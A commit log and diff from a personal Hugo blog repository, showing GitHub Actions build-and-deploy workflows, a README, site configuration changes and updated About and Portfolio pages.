173 Commits
Author SHA1 Message Date
maik 29c4ec29ca Show current path in navbar 2022-11-20 11:49:45 +01:00
maik ee60c53bd9 Added used skills to individual portfolio items 2022-05-03 17:54:09 +02:00
maik 6b43d42051 Remove duplicate tag 2022-02-20 13:08:07 +01:00
maik 0ac972d18d Add linux journey 2022-02-17 18:21:42 +01:00
maik 173681e33f Remove lbry from socials 2022-02-17 15:28:59 +01:00
maik 8c787ec1d3 Add Advent of Code post 2021-12-07 13:08:30 +01:00
maik ee64080cb2 Fix rss feed not including writeups 2021-11-30 23:37:17 +01:00
maik 1729718b13 Add hugo lock file to gitignore 2021-11-30 23:19:43 +01:00
maik 7178e45413 Fix pagination on writeups 2021-11-30 23:18:43 +01:00
maik d6544b95cf Add breadcrumbs, let writeup urls make more sense and add section pages 2021-11-30 17:38:58 +01:00
maik e92b7e02fe Fix content allignment for lists 2021-11-30 16:45:31 +01:00
maik 006099ba3c Remove debug line break 2021-11-19 17:11:35 +01:00
maik 8f1572a8a3 Add intro message to list pages 2021-11-19 12:36:55 +01:00
maik 61efdb4b46 Add some more info about me 2021-11-19 12:27:00 +01:00
maik 2ded3ee54a Remove duplicate class 2021-11-16 11:06:00 +01:00
maik 5668b1012d Remove trailing space 2021-11-14 21:47:56 +01:00
maik 0dbc13ad78 Fix author on regular pages 2021-11-14 21:46:29 +01:00
maik 5390569ba5 Increase amount in json-ld collection 2021-11-14 21:40:56 +01:00
maik c20a3c12ec Add JSON-LD for rich results 2021-11-14 21:37:26 +01:00
maik 9a29074531 Use main RSS feed instead of posts 2021-11-11 17:29:03 +01:00
maik e4e47994a1 Let the main rss feed show all kinds of posts 2021-11-11 17:27:13 +01:00
maik ba34adc634 Only show first 15 posts as per RSS 2.0 spec 2021-11-11 17:26:46 +01:00
maik 7da90d2562 Fix date (wrong year) 2021-11-11 17:26:10 +01:00
maik a884b14b81 Add more keywords 2021-11-11 16:17:01 +01:00
maik 9f3d374645 Make title look nicer 2021-11-11 16:03:35 +01:00
maik c79a95ffd4 Make RSS feed look nicer 2021-11-11 15:24:54 +01:00
maik 956eede4d8 Set actual titles of the challenges as I only just found them 2021-11-11 15:24:00 +01:00
maik ceaa5d1d62 Add cover image 2021-11-11 14:47:55 +01:00
maik 7c93c9f03c Fix image stretch on post overview 2021-11-11 09:12:26 +01:00
maik c306300f2c Remove larger image view as it's broken on some browsers 2021-11-10 23:23:43 +01:00
maik 9ab6b65570 Add image enlargement 2021-11-10 23:15:13 +01:00
maik a6d96dbdc2 Remove heading in figcaption when necessary 2021-11-10 20:47:08 +01:00
maik fba2bd8805 Fix space in alt and style tags 2021-11-10 20:17:42 +01:00
maik ea4c2dc200 Remove inline styling where possible 2021-11-10 20:02:52 +01:00
maik a8c9b46f6a Use classes for syntax highlighting instead of inline styles 2021-11-10 19:52:10 +01:00
maik 076edeb55e Add challenge 10 of the google ctf beginners quest 2021-11-10 15:53:43 +01:00
maik b578b308a7 Add inline image 2021-11-10 15:53:21 +01:00
maik 2fb51ad906 Change all urls to absolute ones 2021-11-08 17:23:25 +01:00
maik 99c0d62efe Convert all images to webp when possible 2021-11-08 17:15:15 +01:00
maik 16f049dd09 Add challenge 9 of the google ctf beginners quest 2021-11-07 12:24:48 +01:00
maik e75ee517f3 Fix portfolio timeline on dark mode 2021-11-05 00:13:41 +01:00
maik 82538b81d0 Remove test post and replace it with what it was supposed to be
I accidentally save this post in the wrong location
2021-11-05 00:03:09 +01:00
maik 5a51d582f9 Add challenge 8 of the google ctf beginners quest 2021-11-04 23:27:58 +01:00
maik c1ec90149a Edit subtitle 2021-10-16 18:31:46 +02:00
maik e480606661 Reorder icons according to their relevance 2021-10-16 18:20:13 +02:00
maik 35b29774ff Fix post image width 2021-09-28 23:32:51 +02:00
maik df92e19b93 Update titles and story lines 2021-09-28 23:10:14 +02:00
maik 7efc4143f5 Add challenge 7 of the google-ctf beginners quest 2021-09-28 21:50:10 +02:00
maik e4cc28438e Add challenge 6 of the google-ctf beginners quest 2021-09-28 15:20:42 +02:00
maik 8cc320b459 Disable masonry adjustment 2021-09-25 16:26:31 +02:00
maik 64e346ac66 Add challenge 5 of the google-ctf beginners quest 2021-09-24 21:22:48 +02:00
maik 37b9445373 Move file to attachments 2021-09-24 20:04:45 +02:00
maik da41344500 Remove coding tag 2021-09-24 19:42:16 +02:00
maik 0782ceb77a Add challenge 5 of the google-ctf beginners quest 2021-09-24 19:31:45 +02:00
maik 5cf47899c3 Add challenge 3 of the google-ctf beginners quest 2021-09-24 10:57:16 +02:00
maik fb3a264479 Allow adding an id to a figure 2021-09-24 09:59:11 +02:00
maik 1e754b8ca2 Fix error when no masonry is found 2021-09-24 09:49:00 +02:00
maik 81689b93f3 Update tags 2021-09-24 09:32:36 +02:00
maik bd4ca03185 Add a README file 2021-09-23 23:33:13 +02:00
maik 1bcc181220 Use masonry instead of hard rows 2021-09-23 23:04:48 +02:00
maik d5c31f0d0b Add challenge 2 of the google-ctf beginners quest 2021-09-23 22:18:50 +02:00
maik 50be874d54 Add actual flag 2021-09-23 21:59:52 +02:00
maik 37a7420618 Add gray background on dark theme for better contrast 2021-09-22 21:09:46 +02:00
maik f29b665fcd Add small figure 2021-09-22 20:44:20 +02:00
maik 3797428ef1 Don't allow questionmarks in url 2021-09-22 18:31:48 +02:00
maik c45061440e Add terminal like cd functionality 2021-09-22 18:29:13 +02:00
maik 5b63b29d5d Make writeup list have two columns 2021-09-22 17:37:30 +02:00
maik 7bf60bc3b9 Fix title 2021-09-22 16:43:08 +02:00
maik a77980dafe Restructure writeups 2021-09-22 16:34:01 +02:00
maik 9c2dd10082 Add subtitle to posts 2021-09-22 16:15:55 +02:00
maik f006f7aad8 Add challenge 1 of google ctf beginners quest 2021-09-22 15:53:53 +02:00
maik b1fb5072db Put all adventofctf files in a directory of that years edition 2021-09-22 15:11:20 +02:00
maik dd55721211 Add backup files to gitignore 2021-09-22 15:06:42 +02:00
maik 24a2ca806e Add challenge 24 of adventofctf 2021-09-22 14:58:58 +02:00
maik 80dfee2a3f Fix bare urls in markdown 2021-09-22 13:35:35 +02:00
maik ed0c83231e Remove date from portfolio item 2021-08-27 23:58:55 +02:00
maik a7f57e051e Make disclamer cursive 2021-08-27 23:56:40 +02:00
maik 8e05c2d2be Add skill to tnnp 2021-08-27 23:51:16 +02:00
maik ae8b1fd8f3 Improve overall styling and add items to portfolio 2021-08-27 23:49:16 +02:00
maik f464ce4310 Fix multiple h1 2021-08-27 21:08:48 +02:00
maik 1d7c427fec Rename file 2021-08-27 20:42:45 +02:00
maik 022e9fba68 Add company 2021-08-27 20:39:05 +02:00
maik d887ef0ab0 Open company page in new tab 2021-08-27 00:40:35 +02:00
maik d2e4fa788c Fix click through issues 2021-08-27 00:38:22 +02:00
maik 3deeed5686 Make page more responsive 2021-08-27 00:36:42 +02:00
maik 1cfa38596d Improve snake timeline styling 2021-08-27 00:12:35 +02:00
maik f162356627 Add portfolio page 2021-08-27 00:08:06 +02:00
maik c4b8fb83d1 Fix post template 2021-08-26 22:00:37 +02:00
maik 821e97627d Add width and height to image to prevent layout shifts 2021-06-07 15:12:17 +02:00
maik 4c0b098e53 Fix contrast issue 2021-06-07 15:04:33 +02:00
maik 24ef17cadb Save wallet info in config instead of hardcoding 2021-05-18 01:07:47 +02:00
maik 01633db96a Add Monero wallet to footer 2021-05-18 00:47:38 +02:00
maik 16261320d9 Improve SEO and code formatting 2021-04-08 15:05:17 +02:00
maik c6fbd73a16 Fix typos 2021-03-30 23:54:41 +02:00
maik e75c8de422 Add writeup for challenge 23 of adventofctf 2020 2021-03-30 23:51:34 +02:00
maik 13e64a1db7 Move image to challenge folder 2021-03-30 21:27:01 +02:00
maik a3321be74d Merge pull request #4 from maikka39/feature/ci
Add automatic deployment
2021-03-10 15:22:42 +01:00
maik a7e1bcf75e Separate ci and cd tasks 2021-03-10 15:21:40 +01:00
maik 6592edf2fa Only run on master branch 2021-03-10 15:16:06 +01:00
maik 7718859c4a Undo changes 2021-03-10 15:12:11 +01:00
maik 593071dc93 One more test 2021-03-10 14:54:01 +01:00
maik 066a8f054f Undo test changes 2021-03-10 14:51:10 +01:00
maik 5df8fe7fc9 Another backend test 2021-03-10 14:48:30 +01:00
maik 72b6e89695 Test for backend 2021-03-10 14:45:53 +01:00
maik 904e30a004 Fix status 2021-03-10 14:41:44 +01:00
maik 25e01b7217 Add target url and state 2021-03-10 14:31:12 +01:00
maik ffc4ef50de Use other deployment method 2021-03-10 14:22:10 +01:00
maik 8a56798c8b Setup automatic deployment 2021-03-10 14:08:29 +01:00
maik 4be232d4a0 Add Github Actions CI 2021-03-09 21:22:03 +01:00
maik 512f4fed33 Decrease amount of pages in list to increase page load times 2021-03-09 21:09:48 +01:00
maik b153c7caec Add pagination buttons at the top as well if the user is not on the first page 2021-03-09 20:59:58 +01:00
maik 988490fd5c Fix pagination 2021-03-09 20:59:11 +01:00
maik 4e830eed00 Add challenge 22 of adventofctf 2021-03-09 20:46:46 +01:00
maik fa9375e5a2 Fix wrong categories 2021-02-26 15:52:40 +01:00
maik af83094b3c Fix timezone typo 2021-02-26 15:50:02 +01:00
maik e0db796046 Add challenge 21 of adventofctf 2021-02-26 15:41:43 +01:00
maik fb186f5fc8 Add challenge 20 of adventofctf 2021-02-26 11:16:59 +01:00
maik 331af8b4e1 Add missing image for challenge 16 of adventofctf 2021-02-26 00:13:32 +01:00
maik e7578789ca Add challenge 19 of adventofctf 2021-02-26 00:07:47 +01:00
maik d872f9daee Add challenge 18 of adeventofctf 2021-02-25 18:11:13 +01:00
maik 3ad8b4cfdf Add challenge 17 of adventofctf 2021-01-06 22:52:34 +01:00
maik 4e10d1bd32 Fix wrong output 2021-01-05 17:00:23 +01:00
maik fac3ccfdcf Add challenge 16 of adventofctf 2021-01-05 14:32:40 +01:00
maik 8d6732775b Add writeup for challenge 15 2021-01-01 01:39:19 +01:00
maik 184b769dea Add challenge 14 2020-12-14 22:50:06 +01:00
maik 522682c48f Add challenge 13 2020-12-14 19:42:42 +01:00
maik 540b1204c2 Update points for 12 2020-12-14 18:44:50 +01:00
maik eb66eaee56 Add challenge 12 2020-12-14 16:26:43 +01:00
maik 0da0b9897c Add challenge 11 2020-12-14 15:33:59 +01:00
maik 908685046c Add images for challenges 9 and 10 2020-12-11 22:28:37 +01:00
maik 8f88af4611 Add challenge 10 2020-12-11 22:25:12 +01:00
maik 66c2be4ee7 Set correct time 2020-12-11 21:50:36 +01:00
maik 8c26826192 Break word in code 2020-12-11 21:48:52 +01:00
maik be614bc809 Add challenge 9 2020-12-11 21:45:13 +01:00
maik e0cce32501 Fix url 2020-12-11 17:06:57 +01:00
maik 7baa940b21 Fix url 2020-12-08 13:36:18 +01:00
maik 21a20b4b85 Add today's adventofctf challenge 2020-12-08 13:29:33 +01:00
maik 9480879718 Try -> true 2020-12-08 12:40:59 +01:00
maik 61c8286995 Change tags to inline-block so the page fits on mobile 2020-12-07 23:48:22 +01:00
maik 90652210c6 Replace `` with 2020-12-07 23:39:53 +01:00
maik e87378c335 Clarify sleep statements 2020-12-07 23:34:35 +01:00
maik de015f18a8 Add today's challenge 2020-12-07 23:32:00 +01:00
maik a42ca8aa17 Update table styling 2020-12-06 16:26:07 +01:00
maik e7c4a9e3dd Add the writeup for today 2020-12-06 16:10:19 +01:00
maik 9a946495a1 Move Google Analytics to gtag.js 2020-12-06 14:43:40 +01:00
maik 4c2b22a349 Update descriptions 2020-12-06 00:15:16 +01:00
maik ced99d39ad Add some additial information about getting database contents 2020-12-06 00:10:50 +01:00
maik 2795caeb2f Add more tags :) 2020-12-05 16:20:56 +01:00
maik 596e4f501b Add some keywords to the website 2020-12-05 16:19:48 +01:00
maik d8e78af242 Fix a typo 2020-12-05 16:18:56 +01:00
maik 05b12eb994 Add today's challenge 2020-12-05 16:16:18 +01:00
maik 2d83712570 Add type of challenge to tag 2020-12-04 12:35:51 +01:00
maik af01b61e84 Add challenge 4 2020-12-04 12:18:25 +01:00
maik 98a09823a4 Add .vscode/ 2020-12-04 11:17:59 +01:00
maik 70008eb592 Add collapsable codeblock 2020-12-04 11:14:51 +01:00
maik ce8ae5abff Format files 2020-12-04 00:05:42 +01:00
maik 3044b66a6e Remove lonely closing p tag 2020-12-03 23:56:28 +01:00
maik 6d289e39b9 Add discord 2020-12-03 23:50:53 +01:00
maik f57467eac9 Add a privacy policy 2020-12-03 23:37:34 +01:00
maik 52216c8af2 Set html size attributes for images 2020-12-03 17:55:35 +01:00
maik f307dfe308 Show lists with content 2020-12-03 15:17:37 +01:00
maik dd4c43a9d4 Add cover images 2020-12-03 12:34:27 +01:00
maik 13a9947bff Rewrite challenge 1 2020-12-03 11:45:39 +01:00
maik 2e6a2f6e82 Update challenge 0 2020-12-03 11:37:43 +01:00
maik e53dadd1f7 Update tags and categories 2020-12-03 09:53:55 +01:00
maik d80d1308f2 Add today's challenge 2020-12-03 09:45:31 +01:00
maik 20a715a146 Add google analytics 2020-12-02 21:17:13 +01:00
maik 41598e35d8 Remove unnecessary code 2020-12-02 21:04:49 +01:00
maik cfe8abce46 Make light them the default 2020-12-02 20:47:11 +01:00
maik 2734495299 Update site colors 2020-12-02 18:35:38 +01:00
maik 8fd7031e45 Add some ctf writeups 2020-12-02 18:30:41 +01:00
maik 39a1374d5a Merge pull request #3 from Raymonzut/patch-1
Fix GitHub profile link in about page
2020-08-05 15:26:31 +02:00
raymon 62156574be Fix GitHub profile link in about page 2020-07-30 18:10:47 +02:00
188 changed files with 11319 additions and 490 deletions
+34
View File
@@ -0,0 +1,34 @@
name: Hugo CD
on:
push:
branches:
- "master"
defaults:
run:
working-directory: ./
jobs:
cd:
timeout-minutes: 6
name: CD
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Setup hugo
uses: peaceiris/actions-hugo@v2
with:
hugo-version: "latest"
extended: true
- name: Build
run: hugo -D -F
- name: Create GitHub deployment
uses: chrnorm/deployment-action@releases/v1
id: deployment
with:
token: "${{ github.token }}"
target_url: https://maik.dev/
environment: production
initial_status: "success"
+32
View File
@@ -0,0 +1,32 @@
name: Hugo CI
on:
push:
branches:
- "*"
- "*/*"
- "**"
- "!master"
pull_request:
branches:
- "master"
defaults:
run:
working-directory: ./
jobs:
ci:
timeout-minutes: 5
name: CI
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
- name: Setup hugo
uses: peaceiris/actions-hugo@v2
with:
hugo-version: "latest"
extended: true
- name: Build
run: hugo -D -F
+7 -1
View File
@@ -1,3 +1,9 @@
# Hugo default output directory # Hugo default output directory
public/ public/
resources/_gen/ resources/_gen/
.hugo_build.lock
.vscode/
*.bak
*.old
+50
View File
@@ -0,0 +1,50 @@
# Personal Website
Link: <https://maik.dev>
## Goals
The goal of this website is mainly to post [CTF](https://ctftime.org/ctf-wtf/) writeups.
Besides that, its also made for the enjoyment of creating this website. To wit, I also set some technical goals for this website.
### Development goals
The website must comply with at least the following:
- The website is fully usable with JavaScript disabled.
- JavaScript may only be used for graphical enhancements.
- Where possible, JavaScript should be avoided.
- The website must have a usable Dark Theme.
- This means all text and images are still readable, and the look and feel is the same are the regular theme (but dark ofcourse).
- The website must have a working RSS feed,
- The website must be static.
- Self-hosted, dynamic components (like a comment system) can be used, but the main content is static. (see the first goal)
- All assets, libraries, whatever, must be hosted locally.
- With the exception of Google Analytics. I am planning to replace this in the future.
## Installation
### Install Hugo
This website is made using the [Hugo static site generator](https://gohugo.io/).
On Arch Linux this is as easy as running the following:
```sh
pacman -S hugo
```
### Running locally
To see a preview of new posts, you can run the hugo development server.
```sh
hugo -DF server
```
The `-D` and `-F` flags are for building draft and future posts respectively.
## Publish
When a commit is pushed to the `master` branch, the new version of the website will automatically be deployed using GitHub Actions.
Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 400 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 135 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 382 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 852 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 71 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 512 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 143 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 572 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 499 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 523 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 522 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 568 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 540 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 532 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 553 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 628 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 560 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 536 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 594 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 636 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 314 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 516 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 546 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 579 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 558 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 552 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 559 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 499 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 536 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 564 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 515 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 314 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 348 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 309 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 367 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 326 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 359 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 390 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 340 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 335 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 415 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 159 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 214 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 367 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 371 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 909 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 889 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 243 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 189 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 407 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 177 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 115 KiB

+59 -37
View File
@@ -2,15 +2,15 @@ baseURL = "https://maik.dev/"
# baseURL = "http://localhost:1313/" # baseURL = "http://localhost:1313/"
title = "Maik de Kruif" title = "Maik de Kruif"
languageCode = "en-us" languageCode = "en-us"
# theme = "hello-friend-ng"
theme = "maik-blog" theme = "maik-blog"
paginate = 10 paginate = 12
rssLimit = 10 rssLimit = 10
copyright = "© Maik de Kruif (maik_dev). All rights reserved." copyright = "© Maik de Kruif (maik_dev). All rights reserved."
PygmentsCodeFences = true PygmentsCodeFences = true
pygmentsUseClasses = true
PygmentsStyle = "monokai" PygmentsStyle = "monokai"
archetypeDir = "archetypes" archetypeDir = "archetypes"
@@ -25,7 +25,7 @@ buildExpired = false
canonifyURLs = true canonifyURLs = true
enableRobotsTXT = true enableRobotsTXT = true
enableGitInfo = false enableGitInfo = true
enableEmoji = true enableEmoji = true
enableMissingTranslationPlaceholders = false enableMissingTranslationPlaceholders = false
disableRSS = false disableRSS = false
@@ -33,11 +33,24 @@ disableSitemap = false
disable404 = false disable404 = false
disableHugoGeneratorInject = false disableHugoGeneratorInject = false
googleAnalytics = "UA-136337666-1"
[permalinks] [permalinks]
posts = "/posts/:year/:month/:title/" posts = "/posts/:title/"
writeups = "/:sections/:title/"
[author] [author]
name = "Maik de Kruif" name = "Maik de Kruif"
email = "maik@maik.dev"
twitter = "@maik_dev"
image = "/img/home/portrait.png"
[social]
twitter = "@maik_dev"
[outputs]
home = ["HTML", "RSS"]
page = ["HTML", "RSS"]
[params] [params]
dateform = "Jan 2, 2006" dateform = "Jan 2, 2006"
@@ -47,13 +60,17 @@ disableHugoGeneratorInject = false
# Metadata mostly used in document's head # Metadata mostly used in document's head
description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff." description = "Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on Github. And last but not least, I love playing around with cyber-security related stuff."
keywords = "" keywords = "Devloper, Software Engineer, Software Developer, Maik, Computer Science, Portfolio, Blog, Maik de Kruif"
images = [""] images = [""]
homeSubtitle = "Maik de Kruif (maik_dev)" genre = "Blog"
showReadingTimeInList = false
homeSubtitle = "Software Engineering, Linux and Cyber Security"
# Prefix of link to the git commit detail page. GitInfo must be enabled. # Prefix of link to the git commit detail page. GitInfo must be enabled.
# gitUrl = "" gitUrl = "https://github.com/maikka39/Personal-Website/commit/"
# Set disableReadOtherPosts to true in order to hide the links to other posts. # Set disableReadOtherPosts to true in order to hide the links to other posts.
disableReadOtherPosts = false disableReadOtherPosts = false
@@ -62,7 +79,9 @@ disableHugoGeneratorInject = false
# There are a lot of buttons preconfigured. If you want to change them, # There are a lot of buttons preconfigured. If you want to change them,
# generate the buttons here: https://sharingbuttons.io # generate the buttons here: https://sharingbuttons.io
# and add them into your own `layouts/partials/sharing-buttons.html` # and add them into your own `layouts/partials/sharing-buttons.html`
# Preconfigured: facebook, twitter, tumblr, email, pinterest, linkedin, reddit, xing, whatsapp, hackernews, telegram
enableSharingButtons = true enableSharingButtons = true
sharingButtons = ["twitter", "email", "linkedin", "reddit", "whatsapp", "telegram"]
# Integrate Javascript files or stylesheets by adding the url to the external assets or by # Integrate Javascript files or stylesheets by adding the url to the external assets or by
# linking local files with their path relative to the static folder, e.g. "css/styles.css" # linking local files with their path relative to the static folder, e.g. "css/styles.css"
@@ -73,7 +92,7 @@ disableHugoGeneratorInject = false
justifyContent = false # Set "text-align: justify" to .post-content. justifyContent = false # Set "text-align: justify" to .post-content.
# Default theme "light" or "dark" # Default theme "light" or "dark"
defaultTheme = "dark" defaultTheme = "light"
themeColor = "#252627" themeColor = "#252627"
# Colors for favicons # Colors for favicons
@@ -82,21 +101,16 @@ disableHugoGeneratorInject = false
msapplication = "#252627" msapplication = "#252627"
theme = "#252627" theme = "#252627"
[params.logo]
logoText = "$ cd /home/"
logoHomeLink = "/"
# Set true to remove the logo cursor entirely.
# logoCursorDisabled = false
# Set to a valid CSS color to change the cursor in the logo.
# logoCursorColor = "#67a2c9"
# Set to a valid CSS time value to change the animation duration, "0s" to disable.
# logoCursorAnimate = "2s"
# Uncomment this if you want a portrait on your start page # Uncomment this if you want a portrait on your start page
# [params.portrait] [params.portrait]
# path = "/img/image.jpg" path = "/img/home/portrait.png"
# alt = "Portrait" alt = "Portrait"
# maxWidth = "50px" size = "175px"
# Wallets
[[params.wallets]]
name = "XMR"
address = "83cfsXGHPaW81hKJtAPYZEgbfFqANMTXXRwghsBpjf5oTDRV3BnCC4jFno8tLTnF4C6gJzGjPEmpvjntXaiGBB7kVitkDKi"
# Social icons # Social icons
[[params.social]] [[params.social]]
@@ -111,26 +125,30 @@ disableHugoGeneratorInject = false
name = "linkedin" name = "linkedin"
url = "https://www.linkedin.com/in/maikdekruif/" url = "https://www.linkedin.com/in/maikdekruif/"
[[params.social]]
name = "stackoverflow"
url = "https://stackoverflow.com/users/9146982/maik-de-kruif"
[[params.social]]
name = "rss"
url = "posts/index.xml"
[[params.social]] [[params.social]]
name = "twitter" name = "twitter"
url = "https://twitter.com/maik_dev" url = "https://twitter.com/maik_dev"
# [[params.social]] [[params.social]]
# name = "hackerrank" name = "discord"
# url = "https://www.hackerrank.com/maik_dev" url = "https://discord.gg/wXCMdzCDcH"
[[params.social]] [[params.social]]
name = "instagram" name = "instagram"
url = "https://www.instagram.com/maik.dev/" url = "https://www.instagram.com/maik.dev/"
[[params.social]]
name = "stackoverflow"
url = "https://stackoverflow.com/users/9146982/maik-de-kruif"
# [[params.social]]
# name = "rss"
# url = "posts/index.xml"
# [[params.social]]
# name = "hackerrank"
# url = "https://www.hackerrank.com/maik_dev"
# [[params.social]] # [[params.social]]
# name = "medium" # name = "medium"
# url = "https://medium.com/@maikka39" # url = "https://medium.com/@maikka39"
@@ -143,9 +161,9 @@ disableHugoGeneratorInject = false
name = "reddit" name = "reddit"
url = "https://www.reddit.com/user/maikka39" url = "https://www.reddit.com/user/maikka39"
[[params.social]] # [[params.social]]
name = "lbry" # name = "lbry"
url = "https://lbry.tv/@Maik:c" # url = "https://lbry.tv/@Maik:c"
[[params.social]] [[params.social]]
name = "youtube" name = "youtube"
@@ -155,7 +173,7 @@ disableHugoGeneratorInject = false
[languages.en] [languages.en]
subtitle = "maik.dev" subtitle = "maik.dev"
weight = 1 weight = 1
copyright = 'All rights reserved.' copyright = "© Maik de Kruif (maik_dev). All rights reserved."
[menu] [menu]
[[menu.main]] [[menu.main]]
@@ -170,3 +188,7 @@ disableHugoGeneratorInject = false
identifier = "posts" identifier = "posts"
name = "Posts" name = "Posts"
url = "posts/" url = "posts/"
[[menu.main]]
identifier = "writeups"
name = "Writeups"
url = "writeups/"
+9 -3
View File
@@ -1,8 +1,8 @@
+++ +++
author = "Maik de Kruif" author = "Maik de Kruif"
title = "About" title = "About"
date = 2020-07-06T16:33:01+02:00 date = 2021-11-19T12:26:01+01:00
description = "" description = "Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it."
images = [] images = []
tags = [ tags = [
"aboutme", "aboutme",
@@ -12,4 +12,10 @@ categories = [
] ]
+++ +++
Hey there, my name is Maik de Kruif, I create websites, bots and other kinds of software. At the moment, I'm still studying computer science at Avans University of Applied Sciences. I am also a big fan of open-source software, which is why you'll find many of my projects on [GitHub](https://github.com/maikka39"). And last but not least, I love playing around with cyber-security related stuff. Ever since I was a little kid, I've loved coding. From the moment of writing my first program in Python and manipulating it to produce the desired output, I have been obsessed with the idea of writing software to solve practical problems. Programming is like a never-ending puzzle where you continuously have to come up with a new way to solve it.
Outside of my job, I run a small business with a couple of friends where we develop drone shows. I'm responsible for both designing and writing the control software as well as creating and designing the actual drones.
When I get home after work/school, I tend to either continue writing code for some personal side-projects, or play around with cyber-security related stuff. This is what keeps me up at night, a never-ending thirst to create beautiful, powerful things and share them with the world.
Skills/Interests: Python, Java, Scala, JavaScript, Node, CSS, HTML, Git, SQL, MongoDB, Apache, Nginx, Docker.
-18
View File
@@ -1,18 +0,0 @@
+++
author = "Maik de Kruif"
title = "Portfolio"
date = 2020-07-06T16:37:43+02:00
description = "Coming soon!"
images = []
tags = [
"portfolio",
"aboutme",
]
categories = [
"me",
]
+++
## Coming soon
Please come back later.
+9
View File
@@ -0,0 +1,9 @@
+++
author = "Maik de Kruif"
title = "Portfolio"
description = "Over the years I have developed various pieces of software and accomplished many goals. Most of them can be found on my GitHub, but I have also listed some here with a bit of extra information."
+++
Over the years I have developed various pieces of software and accomplished many goals.
Most of them can be found on [my GitHub](https://github.com/maikka39/), but I have also listed some here with a bit of extra information.
+17
View File
@@ -0,0 +1,17 @@
+++
author = "Maik de Kruif"
title = "Learn-to-Program"
start_date = 2019-09-03
end_date = 2019-10-21
company_name = "Personal"
